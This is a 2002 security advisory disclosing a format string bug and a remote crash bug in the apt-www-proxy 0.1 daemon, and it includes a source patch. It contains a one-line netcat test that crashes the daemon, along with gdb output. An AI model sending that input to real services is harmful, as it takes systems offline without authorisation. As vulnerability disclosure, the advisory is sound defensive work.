

---

# INetCop Security Advisory #2002-0x82-009

---

\* Title: Remote multiple vulnerability in apt-www-proxy.

## 0x01. Description

—  
bash\$ lynx -dump http://ironsides.terrabox.com/~ahzz/apt-www-proxy/

apt-www-proxy

apt-www-proxy is a proxy server designed specifically for apt-get http:// repositories. It gathers files that clients request, and then simultaneously retrieves, streams to client, and to local disk archive based on a set of archive mappings a lot like apt-proxy does. I decided to write this due to the unstable nature of apt-proxy. IMHO this is due to it being written in shell script. It's a good design, just was never implemented in the right kind of language.

[1]apt-www-proxy 0.1 - accepts clients and automatically says "not found". nifty eh? 8-P

And of course, who would be without the [2]latest snapshot!

Back to my [3]homepage!

## References

1. <http://ironsides.terrabox.com/~ahzz/apt-www-proxy/apt-www-proxy-0.1.tar.gz>
2. <http://ironsides.terrabox.com/~ahzz/apt-www-proxy/latest-AWP.tar.bz2>
3. <http://ironsides.terrabox.com/~ahzz/index.html>

bash\$

--

OK, Let's analyze.

Examine syslog() function first.

There is awp\_log() function to 173 lines of 'src/utls.c' code.

```
—  
173 void awp_log(int level, const char *message)  
...  
222 if((level < LOG_DEBUG) || (1 == logit))  
224     /* log that information */  
227     syslog(level, message); // Here.  
...  
--
```

It's very bad state.

awp\_log() function is used as follows.

Format string bug happens by setting file error log.

Let's find awp\_log() function in 'apt-www-proxy.c' code.

```
—  
47 awp_log(LOG_DATA, errlog);  
78 awp_log(LOG_DATA, errlog);  
93 awp_log(LOG_DATA, errlog);  
130     awp_log(LOG_DATA, errlog);  
146     awp_log(LOG_DATA, errlog);  
157     awp_log(LOG_GEN, errlog);  
287 awp_log(LOG_NOTICE, errlog);  
500     awp_log(LOG_NOTICE, errlog);  
510     awp_log(LOG_CRIT, errlog);  
527     awp_log(LOG_ERR, errlog);  
538 awp_log(LOG_INFO, errlog);  
546     awp_log(LOG_NOTICE, errlog);
```

```
554     awp_log(LOG_NOTICE, errlog);
560     awp_log(LOG_NOTICE, errlog);
572     awp_log(LOG_NOTICE, errlog);
--
```

Second, examine remote DoS vulnerability.

We read 'utils.c' code again.

```
—
260 int parse_get(struct client * client)
    ...
268     /* now match against the archives */
269     if(!strcmp("http://", client->get, 7)) // Here.
270     {
271         /* AHHA! It's a full URL. */
--
```

If 'client->get' value is NULL, strcmp() function segfault happens crash.

Program function execution structure is as following.

```
-----
main()->main_loop()->process_cli()->parse_get()->strcmp()->'segfault'
-----
```

## 0x02. Vulnerable Packages

Vendor site: <http://ironsides.terrabox.com/~ahzz/apt-www-proxy/>

apt-www-proxy 0.1

-apt-www-proxy-0.1.tar.gz

+Linux

## 0x03. Exploit

Try simple test.

### \* Test -

First, execute apt-www-proxy daemon.

Do debug in other shell thereafter.

### #1) Test attacker:

```
bash$ (printf "\r\n";cat)|nc 0 6543
```

### #2) Debugging:

Program received signal SIGSEGV, Segmentation fault.

```
strncmp (s1=0x804b730 "http://", s2=0x0, n=7)
```

```
at ../sysdeps/generic/strncmp.c:43
```

```
43      ../sysdeps/generic/strncmp.c: No such file or directory.
```

```
(gdb) bt
```

```
#0  strncmp (s1=0x804b730 "http://", s2=0x0, n=7)
```

```
at ../sysdeps/generic/strncmp.c:43
```

```
#1  0x804a9f3 in parse_get (client=0x80516c8) at utils.c:269
```

```
#2  0x804a176 in process_cli (reads={__fds_bits = {64, 0 <repeats 31 times>}},
```

```
writes={__fds_bits = {64, 0 <repeats 31 times>}}) at lists.c:270
```

```
#3  0x8049750 in main_loop (s=5) at apt-www-proxy.c:408
```

```
#4  0x8049b56 in main (argc=3, argv=0xbffffbe4,
```

```
arge=0xbffffbf4 ...) at apt-www-proxy.c:578
```

```
(gdb)
```

You can kill daemon through this.

Do you want exploit code? Very regrettable. :- (

We don't want to compose DoS code.

## 0x04. Patch

=== utils.patch ===

```
- - - utils.c      Mon Oct 22 15:20:29 2001
+++ utils.patch.c  Sat Nov 30 02:26:35 2002
@@ -224,11 +224,11 @@
     /* log that information */
     if(background)
     {
-       syslog(level, message);
+       syslog(level, "%s", message);
     }
     else
     {
-       fprintf(stderr, message);
+       fprintf(stderr, "%s", message);
     }
 }
}
@@ -265,6 +265,10 @@
    struct urlmask *curu = urls;
    int found = 0;

+   if(client->get==NULL)
+   {
+       return(0);
+   }
    /* now match against the archives */
    if(!strcmp("http://", client->get, 7))
    {

=== eof ===
```

P.S: Sorry, for my poor english.

--

By "dong-houn yoU" (Xpl017Elz), in INetCop(c) Security.

MSN & E-mail: [szoahc\(at\)hotmail\(dot\)com](mailto:szoahc@hotmail.com),  
[xploit\(at\)hackermail\(dot\)com](mailto:xploit@hackermail.com)

INetCop Security Home: <http://www.inetcop.org/> (Korean hacking game)

My World: <http://x82.i21c.net/>

GPG public key: <http://wizard.underattack.co.kr/~x82/home/profile/x82.k3y>

--